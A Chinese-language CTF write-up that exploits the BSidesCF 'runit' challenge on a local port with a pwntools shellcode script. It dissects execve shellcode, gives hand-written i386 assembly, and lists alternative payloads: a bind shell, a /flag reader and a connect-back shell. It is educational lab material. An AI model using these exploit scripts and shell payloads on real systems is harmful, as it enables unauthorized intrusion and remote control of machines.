pwn-shellcode执行

前言：

这应该是pwn中最简单的，就是利用pwntools生成shellcode，远程执行获取shell，这里以BSidesCF_Runit为例：

分析：

拿到runit后首先看下其安全属性和对应的版本，使用checksec

可以看到，什么安全防护都没有设置，那直接反编译看一眼

 

这太简单了，就是使用mmap申请一块内存后，将获取到的内容进行写入我们申请的内存中，判断内容不为空直接就执行了，那我们只需要发送一段shellcode即可

from pwn import *

context.arch = 'i386'

p = remote('127.0.0.1', 10001)

payload = asm(shellcraft.sh(), os = 'linux')

p.sendlineafter(b'stuff!!\n', payload)

#sleep(2)
#p.send(payload) 

p.interactive()

代码也很简单，就是利用 asm(shellcraft.sh(), os = 'linux')生成一段linux下获取shell的shellcode

其中可以选择使用sendlineafter方法，当发现stuff字符串发送payload内容，或者sleep几秒钟直接发送数据，最后利用interactive进行交互操作

在pwntools文件中可以看到其代码，位置如下：

pwnlib\shellcraft\templates\arm\linux

可以看到其除了sh以外还有其他的shellcode命令

shellcode分析：

深究一下，看看其具体的shellcode代码

 

 使用readelf可以看到是小断存储32位

由此可以知道 2F 62 69 6E 2F 2F 2F 73 68是/bin///sh 此处就是为了压入字符串，即push b'/bin///sh\x00

mov ebx, esp: 将栈顶指针存储在 ebx 寄存器中,作为 execve() 的第一个参数 path。

然后利用如下将 'sh\x00' 字符串压入栈中。

push 0x1010101、xor dword ptr [esp], 0x1016972:

xor ecx, ecx、push ecx: 压入 null 终止符。
push 4、pop ecx、add ecx, esp: 计算参数数组的地址,存储在 ecx 寄存器中,作为 execve() 的第二个参数 argv。

最后就是第三个参数

xor edx, edx: 将 edx 寄存器清零,作为 execve() 的第三个参数 envp。

最后执行 execve() 系统调用:
push SYS_execve、pop eax: 将系统调用号 SYS_execve (值为 0xb) 存入 eax 寄存器。
int 0x80: 触发 int 0x80 系统调用中断,执行 execve() 系统调用。

本质上我们就是希望执行execve(path='/bin///sh', argv=['sh'], envp=0)

其中 ebx，ecx和edx分别为其三个参数

为什么这样做，是因为Linux 32位系统上使用 IA-32 ABI 调用约定。其参数传递: 前 3 个参数分别存放在 ebx、ecx、edx 寄存器中。第 4 个及之后的参数需要压入栈中。返回值: 存放在 eax 寄存器中。

所以linux制作shellcode方法归纳下为：

1.我们首先需要确定要调用的方法即为具体的调用链

2.将所需要参数从左到右依次存放如ebx,ecx ,edx中

3.然后将需要调用的方法地址存入eax中

4.采用int 0x80触发系统断点自动调用eax的内容进而进入指定函数中

5.函数返回的结果存储在eax中，如果存在多个调用需要注意

作为练习，我们可以换个简单点的执行，例如

execve(path='/bin///sh', 0, 0)

对应编写汇编代码：

xor eax, eax
push eax        ; string terminator
push 0x68732f6e ; "hs/n"
push 0x69622f2f ; "ib//"
mov ebx, esp    ; "//bin/sh",0 pointer is ESP
xor ecx, ecx    ; ECX = 0
xor edx, edx    ; EDX = 0
mov al, 0xb     ; execve()
int 0x80

ebx为路径，ecx和edx分别为0，通过系统中断调用eax的值，进入执行 execve方法

测试如下

同样可以成功执行 

实测：

首先我们使用如下命令将输出输入转发到指定端口

socat tcp-listen:10001,reuseaddr,fork EXEC:./runit,pty,raw,echo=0

这样就转发到了本地的10001端口，然后就可以执行我们编号的python程序，可以成功的拿下shell

 

抓包看下流量

 

绕过：

如果execve被禁止了怎么半，我们除了利用上述进行手工编写shellcode，也可以使用如下payload

shellcode = asm(pwnlib.shellcraft.amd64.linux.bindsh(9999, 'ipv4')) # 绑定shell到999端口
shellcode = asm(pwnlib.shellcraft.amd64.linux.cat("/flag", 1)) # 读取/flag，输出到标准输出
shellcode = asm(pwnlib.shellcraft.amd64.linux.cat2("/flag", 1, 0x30)) # 读取/flag，输出到标准输出
shellcode = asm(pwnlib.shellcraft.amd64.linux.socket("ipv4", "tcp")+\
               pwnlib.shellcraft.amd64.linux.connect("127.0.0.1", 9999, 'ipv4')+\
               pwnlib.shellcraft.amd64.linux.dupsh('rax')
               ) 

结尾：

以上为32位的程序具体的分析过程，包含了shellcode的编写和执行，64位大同小异， 执行shellcode主要需要注意对应系统的调用约定和传参约定